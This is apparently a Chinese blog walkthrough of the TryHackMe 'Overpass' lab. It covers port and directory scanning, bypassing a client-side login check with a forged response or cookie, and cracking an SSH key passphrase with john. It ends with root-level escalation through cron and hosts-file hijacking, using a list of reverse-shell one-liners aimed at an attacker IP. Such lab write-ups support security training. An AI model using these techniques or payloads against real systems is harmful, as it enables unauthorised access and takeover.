【全网最细】TryHackMe Overpass 题解

TryHackMe Overpass 题解

在这里插入图片描述

菜菜的复现记录

web渗透阶段

扫描端口

nmap -v -A “服务器地址”

在这里插入图片描述

扫描目录(目录fuzz)

这里我直接使用的是dirsearch使用的是内置的字典

python dirsearch.py -u “服务器的地址”

在这里插入图片描述

这里我们扫描到有用的就是
/admin.html
/admin
/login.js

查看目录的内容

我们发现/admin.html和/admin页面一样
看到登录框扫描了一下弱口令和post请求的sql注入
在这里插入图片描述

在这里插入图片描述

都是失败告终

现在我们看一下login.js这个应该是和登录相关的
在这里插入图片描述

标注的这部分是我们利用的部分,我们要绕过login.js来进行登录,因为他这个地方我如果没有让服务器响应"不正确的凭证"那不就可以登录了

/**
 * 登录函数
 */
async function login() {
    // 获取用户名输入框元素
    const usernameBox = document.querySelector("#username");
    // 获取密码输入框元素
    const passwordBox = document.querySelector("#password");
    // 获取登录状态元素
    const loginStatus = document.querySelector("#loginStatus");
    // 清空登录状态文本内容
    loginStatus.textContent = "";

    // 创建包含用户名和密码的对象
    const creds = { username: usernameBox.value, password: passwordBox.value };

    // 发送数据到指定路径进行登录请求并等待响应
    const response = await postData("/api/login", creds);

    // 获取响应的文本内容
    const statusOrCookie = await response.text();

    // 如果响应文本是"不正确的凭证"
    if (statusOrCookie === "Incorrect credentials") {
        // 设置登录状态文本为"不正确的凭证"
        loginStatus.textContent = "Incorrect Credentials";
        // 清空密码输入框的值
        passwordBox.value = "";
    } else {
        // 设置名为"SessionToken"的 Cookie 值为响应内容
        Cookies.set("SessionToken",statusOrCookie);
        // 将页面重定向到"/admin"
        window.location = "/admin";
    }
}
YAKit抓包

在这里插入图片描述

我们这里就是要修改返回包(响应包)所以一定要把Yakit的劫持响应打开
打开劫持响应!!!
打开劫持响应!!!
打开劫持响应!!!

一定要打开不然没法改

在这里插入图片描述

这个包返回了Incorrect credentials有这个就说明没过所以我们要改成302并把Incorrect credentials删掉

HTTP/1.1 302 FOUND
Date: Tue, 14 May 2024 10:23:08 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 21

传完点一下刷新就可未授权登录了

在这里插入图片描述

我看网上还有可以利用cookie来登录的就是创建一个cookie来登录

创建一个cookie

document.cookie="SessionToken=pleaselogmein"

在这里插入图片描述

再刷新界面就可以登录james13

在这里插入图片描述

SSH登录

这里他告诉我们这是一个ssh密钥那我们就开冲

在这里插入图片描述

冲了但是没冲进去好
那我们就用私钥来解一下私钥密码

我们先将这个ssh的hash提取出来

ssh2john Overpass_key > Overpass_key.txt

在这里插入图片描述

提取出来我们开始使用john工具撞hash
john --wordlist=/usr/share/wordlists/rockyou.txt Overpass_key.txt
使用了rockyou.txt这个字典来破解hash如果你们的rockyou.txt是rockyou.txt.gz就使用gzip解压一下

gzip -d /usr/share/wordlists/rockyou.txt.gz

在这里插入图片描述

这样我们得到了james13的密码
登陆一下linux服务器

ssh -i Overpass_key james@10.10.144.230

在这里插入图片描述

查看目录找user.txt拿到第一个flag
在这里插入图片描述

thm{65c1aaf000506e56996822c6281e6bf7}

Cron提权

注意如果是虚拟机请映射端口我是再本机上弄得
注意如果是虚拟机请映射端口!!!
注意如果是虚拟机请映射端口!!!

查看todo.txt

todo.txt我英语不好todo.txt看看翻译吧

在这里插入图片描述

在这里插入图片描述

他上面提到了自动构建脚本,我们看一下定时任务有啥,

cat /etc/crontab

我看别人都是使用linpeass来寻找提权但是我没下下来

在这里插入图片描述

我们发现他使用的root执行了连接overpass.thm/downloads/src/buidscript.sh,很明显他想下载某个脚本

这个 /erc/crontab我们没有更改权限,所以只能从连接入手

我们去他hosts文件看一看overpass.thm是什么

在这里插入图片描述

他是本地的命令,那我们改成自己的IP不就连接自己然后在脚本里面写反向连接的shell不就可以拿到权限了吗

将overpass.thm改成自己的IP

在这里插入图片描述

切换到本机找一个目录

mkdir -p downloads/src
#创建了downloads/src目录

创建一个buildscript.sh的文件,并在里面写入我们的paylode

#做个事例把可以用不可以用的都列这里了,这里我用的是第一条
#使用bash
bash -c 'exec bash -i &>/dev/tcp/10.14.81.28/8888 <&1'
#使用sh
bash -c 'exec sh -i &>/dev/tcp/10.14.81.28/8888 <&1'
#使用NC
bash -c 'nc -e /bin/bash 10.14.81.28 8888'
#使用socat---靶机上没有socat
bash -c 'socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:10.14.81.28:8888'
#使用python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.81.28",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

在这里插入图片描述

然后我们要在刚开始创建downlodes的目录开启http服务,因为我是OpenVPN连接的所以要加–bind 0.0.0.0

python -m http.server 80 --bind 0.0.0.0

在这里插入图片描述

脚本里创建了反向连接的shell我们直接就是监听端口等待连接坐等连接就OK了

在这里插入图片描述

脚本里创建了反向连接的shell我们直接就是监听端口等待连接坐等连接就OK了
他会在一段时间内下载并启动脚本进行反向连接

flag:thm{7f336f8c359dbac18d54fdd64ea753bb}

  • 20
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Overpass Turbo是一个在线的地理信息系统工具,用于查询和可视化OpenStreetMap(开放街图)的数据。它通过使用Overpass API(一种基于HTTP的接口)来获取OpenStreetMap的数据,并以交互式和可视化的方式呈现查询结果。 使用Overpass Turbo,我们可以执行各种查询操作,以获取我们需要的地理数据。比如,我们可以根据地理位置、标签、关键词等条件来查询OpenStreetMap中的点、线、面等地理要素。这些查询可以是简单的,比如查找某个特定地点的信息,也可以是复杂的,比如查找某个区域内特定类型的设施。 Overpass Turbo提供了一个直观友好的用户界面,让我们可以轻松地构建查询并实时预览查询结果。我们可以使用简单的操作来缩放、平移地图,以便更好地查看查询结果。此外,Overpass Turbo还提供了一些功能强大的过滤器,可以帮助我们根据特定的标签和属性来筛选查询结果,从而更好地满足我们的需求。 除了查询和可视化功能,Overpass Turbo还提供了一些其他实用的功能。例如,我们可以将查询结果导出为GeoJSON、KML等格式,方便我们在其他地理信息系统中使用。我们还可以保存和分享我们的查询和可视化结果,以便与他人合作或记录我们的工作。 总的来说,Overpass Turbo是一个功能强大且易于使用的工具,可以帮助我们查询和可视化OpenStreetMap的数据。无论是专业的地理信息系统专家还是普通用户,都可以通过使用Overpass Turbo来满足他们的地理信息需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

TiAmo_睡不醒

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值